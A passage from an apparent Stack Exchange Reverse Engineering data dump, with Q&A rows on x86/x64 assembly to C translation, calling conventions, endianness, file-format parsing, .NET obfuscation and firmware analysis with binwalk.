  <row Id="19572" PostTypeId="2" ParentId="19571" CreationDate="2018-10-08T18:00:06.727" Score="3" Body="&lt;p&gt;&lt;code&gt;__libc_start_main&lt;/code&gt; is called by the &lt;em&gt;entry point code&lt;/em&gt; (usually in a file called &lt;code&gt;crt0.S&lt;/code&gt; or similar) and &lt;em&gt;that&lt;/em&gt; code usually sets up the initial &lt;code&gt;EBP&lt;/code&gt; value (usually to 0, to denote end of the call stack for the debuggers). Here's a sample entry point code from a random ELF binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_start:&#xA;     xor     ebp, ebp&#xA;     pop     esi&#xA;     mov     ecx, esp&#xA;     and     esp, 0FFFFFFF0h&#xA;     push    eax&#xA;     push    esp             ; stack_end&#xA;     push    edx             ; rtld_fini&#xA;     push    offset __libc_csu_fini ; fini&#xA;     push    offset __libc_csu_init ; init&#xA;     push    ecx             ; ubp_av&#xA;     push    esi             ; argc&#xA;     push    offset main     ; main&#xA;     call    ___libc_start_main&#xA;     hlt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While &lt;code&gt;__libc_start_main&lt;/code&gt; itself &lt;em&gt;could&lt;/em&gt; initialize &lt;code&gt;EBP&lt;/code&gt; to 0, this would make it appear as if it's the first code in the binary when looking at the call stack, which is not correct (the execution begins at &lt;code&gt;_start&lt;/code&gt;, the entry point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, &lt;code&gt;__libc_start_main&lt;/code&gt;  can be (and often is) written in C instead of assembly, and it's easier for the compiler to generate the standard prolog code for it instead of making some kind of special case exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for overwriting the value, you don't get a crash because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;ebp&lt;/code&gt; is not actually used by the caller of &lt;code&gt;___libc_start_main&lt;/code&gt; (the entry point code)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;___libc_start_main&lt;/code&gt; does not actually return, since it calls &lt;code&gt;exit()&lt;/code&gt; with the return value of &lt;code&gt;main()&lt;/code&gt; to directly exit to the OS, so your corrupted &lt;code&gt;ebp&lt;/code&gt; does not matter&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the unlikely event that &lt;code&gt;___libc_start_main&lt;/code&gt; does return (e.g. due to a bug in libc), the entry point code will execute the &lt;code&gt;hlt&lt;/code&gt; instruction which is privileged so the process will be killed by the OS.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-08T18:00:06.727" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19573" PostTypeId="1" AcceptedAnswerId="19574" CreationDate="2018-10-08T18:11:33.187" Score="2" ViewCount="242" Body="&lt;p&gt;the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.global asm0&#xA;asm0:&#xA;    push    ebp&#xA;    mov ebp,esp&#xA;    mov eax,DWORD PTR [ebp+0x8]&#xA;    mov ebx,DWORD PTR [ebp+0xc]&#xA;    mov eax,ebx&#xA;    mov esp,ebp&#xA;    pop ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entry is: asm0(0x2a,0x4f)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is: 0x4f2a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the input parameters reversed?&lt;/p&gt;&#xA;" OwnerUserId="25928" LastActivityDate="2018-10-08T18:43:46.367" Title="Inversion of input parameters in ASM" Tags="|nasm|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19574" PostTypeId="2" ParentId="19573" CreationDate="2018-10-08T18:22:01.943" Score="2" Body="&lt;p&gt;&lt;strong&gt;Calling Conventions&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be referring to calling conventions and order of parameters being pushed. If so, &lt;strong&gt;&lt;a href=&quot;https://stackoverflow.com/questions/31100614/why-is-order-of-function-arguments-reversed#answers&quot;&gt;here is an answer&lt;/a&gt;&lt;/strong&gt; addressing as such. You can read more about calling conventions in general &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Endianness&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested in reading about endianness from the NASM documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;3.4.3 Character Constants&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A character constant consists of a string up to eight bytes long, used&#xA;  in an expression context. It is treated as if it was an integer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A character constant with more than one byte will be arranged with&#xA;  little-endian order in mind: if you code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,'abcd'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;then the constant generated is not 0x61626364, but 0x64636261, so that if you were then to store the value into memory,&#xA;  it would read abcd rather than dcba. This is also the sense of&#xA;  character constants understood by the Pentium's CPUID instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;a href=&quot;https://www.nasm.us/doc/nasmdoc3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nasm.us/doc/nasmdoc3.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More research on your behalf to better understand this can be done by reading about the topic of &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow noreferrer&quot;&gt;endianness&lt;/a&gt;&lt;/strong&gt;. It's confusing when you first run into it, but there are many charts like this one to help demonstrate it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B3WJE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B3WJE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Image source&lt;/strong&gt;: &lt;a href=&quot;https://agilescientific.com/blog/2017/3/31/little-endian-is-legal&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://agilescientific.com/blog/2017/3/31/little-endian-is-legal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there's an excellent video from OpenSecurityTraining that does a great job of explaining endianness and order of parameters/arguments with calling conventions. &lt;a href=&quot;https://youtu.be/H4Z0S9ZbC0g?t=1015&quot; rel=&quot;nofollow noreferrer&quot;&gt;Click here to view it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-10-08T18:43:46.367" LastActivityDate="2018-10-08T18:43:46.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19575" PostTypeId="2" ParentId="19567" CreationDate="2018-10-08T18:40:41.037" Score="1" Body="&lt;p&gt;&lt;em&gt;This is not an answer, just a suggestion what you can explore next.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file seems to be a simple sequence of blocks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+00000 [4 bytes] block tag/id&#xA;+00004 [4 bytes] block length&#xA;+00008 [length ] block data&#xA;&#xA;+00008+length [4 bytes] next block tag/id&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in your file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  33 44 4a 56 00 00 00 0a  00 09 00 00 00 30 11 f9  |3DJV.........0..|&#xA;00000010  19 6d 50 52 50 54 00 00  00 09 00 00 00 00 00 00  |.mPRPT..........|&#xA;00000020  00 00 00 50 52 45 46 00  00 00 3f 09 53 61 6e 73  |...PREF...?.Sans|&#xA;00000030  53 65 72 69 66 00 00 00  00 00 00 00 0c 09 53 61  |Serif.........Sa|&#xA;00000040  6e 73 53 65 72 69 66 00  00 00 00 00 00 00 06 40  |nsSerif........@|&#xA;00000050  00 00 00 16 41 41 4d 42  20 32 30 31 38 20 2d 20  |....AAMB 2018 - |&#xA;00000060  41 72 65 74 68 61 20 2d  20 32 50 52 46 32 00 00  |Aretha - 2PRF2..|&#xA;00000070  00 13 00 78 07 42 10 00  00 01 00 0c 00 06 04 ff  |...x.B..........|&#xA;00000080  ff 00 ff ff 00 47 52 49  44 00 00 05 25 00 56 08  |.....GRID...%.V.|&#xA;00000090  56 45 52 53 20 30 20 30  44 54 49 54 4c 20 2f 55  |VERS 0 0DTITL /U|&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you get these blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 block &quot;3DJV&quot;, length 0x0000000a (10) bytes&#xA;00000012 block &quot;PRPT&quot;, length 0x00000009 (9) bytes&#xA;00000023 block &quot;PREF&quot;, length 0x0000003f (63) bytes&#xA;0000006a block &quot;PRF2&quot;, length 0x00000013 (19) bytes&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you continue parsing the file you're probably going to find more interesting blocks, possibly related to data you're interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what you can do is to create the simplest possible file and save it. Then modify just one coordinate in the GUI, save it and compare with the first file. Modify the coordinate in another way and compare. Because the file looks rather simple, it could be that only one floating point number changes in the file and you'll be able to identify the coordinate format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to decompile the Java code. It can give you insight into the meaning of each block and how data are stored. You can also look at which 3rd party Java classes and packages are imported, it might simplify your life if you can use them directly or even find an online documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possibilities are asking Pyware authors whether they have a documentation of the format or an SDK. If Pyware allows you to save or export files in a well-supported or open format you should be able to import with ease.&lt;/p&gt;&#xA;" OwnerUserId="25796" LastEditorUserId="25796" LastEditDate="2018-10-08T21:02:02.220" LastActivityDate="2018-10-08T21:02:02.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19576" PostTypeId="1" AcceptedAnswerId="19601" CreationDate="2018-10-08T19:21:49.670" Score="2" ViewCount="298" Body="&lt;p&gt;So has there been any success in using deep learning for doing reverse engineering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i couldn't find anything useful other than some theoretical papers, so was there any talk about this in recent security conferences, or actual success of doing so?&lt;/p&gt;&#xA;" OwnerUserId="25864" LastActivityDate="2018-10-11T20:33:17.170" Title="Has there been any success in using deep learning for reverse engineering?" Tags="|memory|patch-reversing|software-security|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19577" PostTypeId="1" CreationDate="2018-10-08T20:37:54.267" Score="2" ViewCount="116" Body="&lt;p&gt;I have a board that uses two nand chips with data that appears to be interleaved byte-by-byte. I have manually desoldered the chips and dumped them with their respective spare areas to two files. I am trying to pull off data without having to worry about bad blocks or the order they occur on the chips. I am thinking I can do that using &lt;code&gt;modprobe nandsim&lt;/code&gt; passing in the chip IDs and writing the images to them, but I can't figure out how (or if it is possible) to use nandsim with two chips that appear as one device.&lt;/p&gt;&#xA;" OwnerUserId="20394" LastActivityDate="2018-10-08T20:37:54.267" Title="How can you use modprobe nandsim for two chips?" Tags="|flash|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19578" PostTypeId="1" CreationDate="2018-10-08T22:15:08.693" Score="1" ViewCount="47" Body="&lt;p&gt;My company has received a command-line stand-alone (ELF) executable from a Korean company that provides a service for validating Korean users. It took them a few tries to get us a version that runs on the latest release of FreeBSD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will not give us the algorithm for encrypting or decrypting the data sent to/received from their service. They probably have a secret key embedded in the compiled file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example website code they provide indicates that this stand-alone executable only does encryption and decryption of the data sent over the wire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of our security review, we would like to find out does the compiled file only do the encryption/decryption or does it send information to another site/service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any US precedents or laws governing reverse engineering of foreign company obtained code for security reviews?&lt;/p&gt;&#xA;" OwnerUserId="25933" LastActivityDate="2018-10-08T22:15:08.693" Title="Legal Reverse Engineering for Security Review in US for Korean Provided Module" Tags="|elf|security|law|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19579" PostTypeId="1" AcceptedAnswerId="19581" CreationDate="2018-10-08T22:18:29.763" Score="1" ViewCount="1342" Body="&lt;p&gt;I have the following assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400711 &amp;lt;foo&amp;gt;:&#xA;  400711:   55                      push   rbp&#xA;  400712:   48 89 e5                mov    rbp,rsp&#xA;  400715:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi&#xA;  400719:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0&#xA;  400720:   00&#xA;  400721:   eb 10                   jmp    400733 &amp;lt;foo+0x22&amp;gt;&#xA;  400723:   48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]&#xA;  400727:   48 8d 50 ff             lea    rdx,[rax-0x1]&#xA;  40072b:   48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx&#xA;  40072f:   48 01 45 f8             add    QWORD PTR [rbp-0x8],rax&#xA;  400733:   48 83 7d e8 00          cmp    QWORD PTR [rbp-0x18],0x0&#xA;  400738:   75 e9                   jne    400723 &amp;lt;foo+0x12&amp;gt;&#xA;  40073a:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  40073e:   5d                      pop    rbp&#xA;  40073f:   c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been trying for several hours to figure out what this code does. From just trial and error with a C code to Assembly Code converter, I'm pretty sure the QWORD part comes from a char array, and the lines above it (push rbp, mov rbp, rsp) is just like a preamble. I'm really not sure how to interpret the lines that come after this. I tried storing the above code in as a file called &quot;file.S&quot; and then I used the following C code and terminal command to try and figure out what it does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int foo(int, int);&#xA;&#xA;int main()&#xA;{&#xA;   // printf() displays the string inside quotation&#xA;   printf(&quot;%d&quot;, foo(2,2));&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The terminal command I used was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -g -Og -no-pie -fno-pie -m32 main.c file.S&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I just get a whole bunch of errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried for many hours, but I'm not making any progress with deciphering this code. Any help is much appreciated. In addition, is there a fast way (e.g. a decompiler) that can do this for me in the future? I couldn't find any of those either.&lt;/p&gt;&#xA;" OwnerUserId="25899" LastEditorUserId="2959" LastEditDate="2018-10-11T06:32:51.327" LastActivityDate="2018-10-11T06:32:51.327" Title="Figuring out what a segment of assembly code does" Tags="|disassembly|assembly|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19580" PostTypeId="1" CreationDate="2018-10-09T04:13:33.167" Score="1" ViewCount="784" Body="&lt;p&gt;I'm dealing with an interesting form of obfuscation. A C# program I am reversing has a central API, let's call it &quot;Central API&quot;. This Central API has several functions that aren't exactly defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, all functions in this Central API class go something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public string SomeFunction(string name)&#xA;    {&#xA;        IServiceInterface interface = base.\u0001();&#xA;        try&#xA;        {&#xA;            if (interface != null)&#xA;            {&#xA;                return interface.SomeFunction(name);&#xA;            }&#xA;        }&#xA;        catch (Exception ex)&#xA;        {&#xA;            ...&#xA;        }&#xA;        finally&#xA;        {&#xA;            ServiceInterface.Close(interface);&#xA;        }&#xA;        return string.Empty;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;base.\u0001&lt;/code&gt; does this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    internal IServiceInterface \u0001()&#xA;    {&#xA;        IServiceInterface result = null;&#xA;        try&#xA;        {&#xA;            result = this.ChannelFactoryClient.CreateChannel();&#xA;        }&#xA;        catch (Exception ex)&#xA;        {&#xA;            ...&#xA;        }&#xA;        return result;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;base.\u0001()&lt;/code&gt; returns an object with the type &lt;code&gt;&quot;System.Runtime.Remoting.Proxies.__TransparentProxy&quot;&lt;/code&gt; (found while debugging), but  when I viewed the value while debugging, there was no member function &lt;code&gt;&quot;SomeFunction&quot;&lt;/code&gt; or any other functions. The object includes various information, but nothing that seems to hint to the true location of &quot;SomeFunction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the next steps I should take to find &lt;code&gt;&quot;SomeFunction&quot;&lt;/code&gt;'s true location (maybe what to look for in the object)? For reference, some modules of this project were obfuscated with SmartAssembly, and even after de4dot &quot;successfully&quot; cleaned them, nothing changed.&lt;/p&gt;&#xA;" OwnerUserId="20951" LastEditorUserId="18014" LastEditDate="2018-10-10T03:59:56.997" LastActivityDate="2018-10-10T03:59:56.997" Title="C# Hidden Method through transparent proxy object?" Tags="|obfuscation|.net|c#|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19581" PostTypeId="2" ParentId="19579" CreationDate="2018-10-09T09:18:14.540" Score="4" Body="&lt;p&gt;First of all, this is 64bit assembly because of the registers (&lt;code&gt;rax&lt;/code&gt;,..) and the memory address in the first line. So with the option &lt;code&gt;-m32&lt;/code&gt; that compiles to 32bit executables, you will get some problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're right about the first part, &lt;code&gt;push rbp&lt;/code&gt; and &lt;code&gt;mov rbp,rsp&lt;/code&gt; is the function preamble. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    QWORD PTR [rbp-0x18],rdi&#xA;mov    QWORD PTR [rbp-0x8],0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;These two QWORDS are not arguments but local variables. You can recognize this, because of the negative offset (variables are above the base pointer and the stack is growing towards lower addresses).&lt;/del&gt; x64 assembler gives the first arguments in registers, so the first line is a function argument. The second one is a local variable. Since they are QWORDS, the datatype has a length of 8 byte. The first instruction assigns the value of &lt;code&gt;rdi&lt;/code&gt; to a local variable (say &lt;code&gt;var_18&lt;/code&gt;) and the second assigns 0 to another local variable (say &lt;code&gt;var_8&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp    400733 &amp;lt;foo+0x22&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an unconditional jump to the location &lt;code&gt;400733&lt;/code&gt; meaning you will always jump there. So we need to continue at this location. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp    QWORD PTR [rbp-0x18],0x0&#xA;jne    400723 &amp;lt;foo+0x12&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;400733&lt;/code&gt; we see a compare instruction, followed by a conditional jump. The compare checks if the local variable &lt;code&gt;var_18&lt;/code&gt; is 0, if so the value of &lt;code&gt;var_8&lt;/code&gt; is returned (writing the value it to &lt;code&gt;rax&lt;/code&gt; and return). Otherwise if not 0, we jump to &lt;code&gt;400723&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    rax,QWORD PTR [rbp-0x18]&#xA;lea    rdx,[rax-0x1]&#xA;mov    QWORD PTR [rbp-0x18],rdx&#xA;add    QWORD PTR [rbp-0x8],rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Continuing at &lt;code&gt;400723&lt;/code&gt; the first three instructions decrease the value of &lt;code&gt;var_18&lt;/code&gt; by 1. But the initial value before the subtraction is added to &lt;code&gt;var_8&lt;/code&gt;. This seems a little confusing, but if you are familiar with C/C++, an instruction like &lt;code&gt;var--&lt;/code&gt; comes in mind, where you use the value of the variable &lt;em&gt;before&lt;/em&gt; it is subtracted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then we are at the comparison to 0 again. So going over all these lines, it is obvious that this is a loop where the argument is a number which then acts as a counter, from which is counted down to zero. The second local variable &lt;code&gt;var_8&lt;/code&gt; is simply the sum of the different counter values. For example if &lt;code&gt;var_18&lt;/code&gt; has 5 then the result would be 5+4+3+2+1=15. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The corresponding C code would be similar to this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;long foo(long nr) {&#xA;    long var_8 = 0;&#xA;&#xA;    while(nr != 0) {&#xA;        var_8 += nr--;&#xA;    } &#xA;    return var_8;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In addition, is there a fast way (e.g. a decompiler) that can do this for me in the future? I couldn't find any of those either.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, Hex-Rays Decompiler would do the job. &lt;/p&gt;&#xA;" OwnerUserId="25793" LastEditorUserId="25793" LastEditDate="2018-10-11T05:18:10.243" LastActivityDate="2018-10-11T05:18:10.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19582" PostTypeId="2" ParentId="17166" CreationDate="2018-10-09T09:35:48.730" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have this D-Link firmware and would like to identify checksum type&#xA;  used on it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it is MD5 Checksum:  d7ad0f50b2f82d60283a75dc63072a6f&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk --verbose  DIR-605L_v2.08UIBetaB01.bin &#xA;&#xA;Scan Time:     2018-10-09 13:28:37&#xA;Target File:   /home/training/Desktop/DIR-605L_v2.08UIBetaB01.bin&#xA;MD5 Checksum:  d7ad0f50b2f82d60283a75dc63072a6f&#xA;Signatures:    386&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;11280         0x2C10          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2547712 bytes&#xA;658466        0xA0C22         Squashfs filesystem, big endian, version 2.0, size: 89101 bytes, 8 inodes, blocksize: 65536 bytes, created: 2017-06-09 02:24:25&#xA;748596        0xB6C34         Squashfs filesystem, big endian, version 2.0, size: 2592128 bytes, 512 inodes, blocksize: 65536 bytes, created: 2017-06-09 02:24:40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25408" LastActivityDate="2018-10-09T09:35:48.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19583" PostTypeId="1" AcceptedAnswerId="19584" CreationDate="2018-10-09T15:15:21.393" Score="3" ViewCount="834" Body="&lt;p&gt;I have the following assembly (x64) function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;400700: sub  rsp,0x18&#xA;400704: mov  QWORD PTR [rsp+0x8],rdi&#xA;400709: cmp  QWORD PTR [rsp+0x8],0x0&#xA;40070f: jne  400718 &amp;lt;bar+0x18&amp;gt;&#xA;400711: mov  eax,0x0&#xA;400716: jmp  400734 &amp;lt;bar+0x34&amp;gt;&#xA;400718: mov  rax,QWORD PTR [rsp+0x8]&#xA;40071d: sub  rax,0x1&#xA;400721: mov  rdi,rax&#xA;400724: call 400700 &amp;lt;bar&amp;gt;&#xA;400729: mov  rdx,rax&#xA;40072c: mov  rax,QWORD PTR [rsp+0x8]&#xA;400731: add  rax,rdx&#xA;400734: add  rsp,0x18&#xA;400738: ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've figured out that the beginning part is just the header for any assembly program. Also, I think that the two QWORD are either from longs or characters. I'm guessing that the jne jump is probably a conditional statement, but I'm not too sure. It looks like the function is recursive since it has a line that calls &quot;bar&quot; again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess for the overall function is that it takes two longs and recursively adds them (Fibonacci, maybe?). I don't have much reasoning for this guess though, and I could be incorrect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please help me solve this problem? Or, if there's a way for me to pass in parameters (I don't even know what kind of argument the function takes) and see the output, then I can try to backtrack and figure out what the program is doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25940" LastEditorUserId="53" LastEditDate="2018-10-11T07:43:06.077" LastActivityDate="2018-10-11T07:53:33.530" Title="How can I convert this assembly code (x64) to C?" Tags="|disassembly|assembly|x86-64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19584" PostTypeId="2" ParentId="19583" CreationDate="2018-10-09T15:37:53.597" Score="4" Body="&lt;p&gt;This function computes (in a recursive manner) the sum of the &lt;code&gt;n&lt;/code&gt; first integers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     400700: sub  rsp,0x18                 ; Align the stack&#xA;     400704: mov  QWORD PTR [rsp+0x8],rdi  ; Store first argument on stack&#xA;     400709: cmp  QWORD PTR [rsp+0x8],0x0  ; test (n == 0)&#xA;  +--40070f: jne  400718 &amp;lt;bar+0x18&amp;gt;        ; jump to 400718 if (n != 0)&#xA;  |  400711: mov  eax,0x0                  ; set return code to zero&#xA;+-|--400716: jmp  400734 &amp;lt;bar+0x34&amp;gt;        ; jump to function end at 400734&#xA;| +-&amp;gt;400718: mov  rax,QWORD PTR [rsp+0x8]  ; Get 'n' in rax&#xA;|    40071d: sub  rax,0x1                  ; n = n - 1&#xA;|    400721: mov  rdi,rax                  ; Load 'n - 1' as first argument&#xA;|    400724: call 400700 &amp;lt;bar&amp;gt;             ; recursive call to 'bar(n - 1)'&#xA;|    400729: mov  rdx,rax                  ; Load bar(n-1) return code in rdx&#xA;|    40072c: mov  rax,QWORD PTR [rsp+0x8]  ; Get current 'n' in rax&#xA;|    400731: add  rax,rdx                  ; rax = n + bar(n - 1)&#xA;+---&amp;gt;400734: add  rsp,0x18                 ; Restore the stack&#xA;     400738: ret                           ; return n + bar(n - 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bar (long long int n)&#xA;{&#xA;  return (n) ? n + bar(n - 1) : 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Frankly, I would have used the well known formula &lt;code&gt;n*(n+1)/2&lt;/code&gt;...&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-10-11T07:53:33.530" LastActivityDate="2018-10-11T07:53:33.530" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19587" PostTypeId="1" AcceptedAnswerId="19588" CreationDate="2018-10-09T22:56:17.273" Score="2" ViewCount="1703" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400526 &amp;lt;main&amp;gt;:&#xA;  400526:   55                      push   rbp&#xA;  400527:   48 89 e5                mov    rbp,rsp&#xA;  40052a:   48 83 ec 20             sub    rsp,0x20&#xA;  40052e:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi&#xA;  400531:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi&#xA;  400535:   c7 45 f4 4d 3c 2b 1a    mov    DWORD PTR [rbp-0xc],0x1a2b3c4d&#xA;  40053c:   48 8d 45 f4             lea    rax,[rbp-0xc]&#xA;  400540:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax&#xA;  400544:   c7 45 f0 00 00 00 00    mov    DWORD PTR [rbp-0x10],0x0&#xA;  40054b:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  40054f:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400552:   0f be c0                movsx  eax,al&#xA;  400555:   c1 e0 18                shl    eax,0x18&#xA;  400558:   89 c2                   mov    edx,eax&#xA;  40055a:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]&#xA;  40055e:   48 83 c0 01             add    rax,0x1&#xA;  400562:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400565:   0f be c0                movsx  eax,al&#xA;  400568:   c1 e0 10                shl    eax,0x10&#xA;  40056b:   09 c2                   or     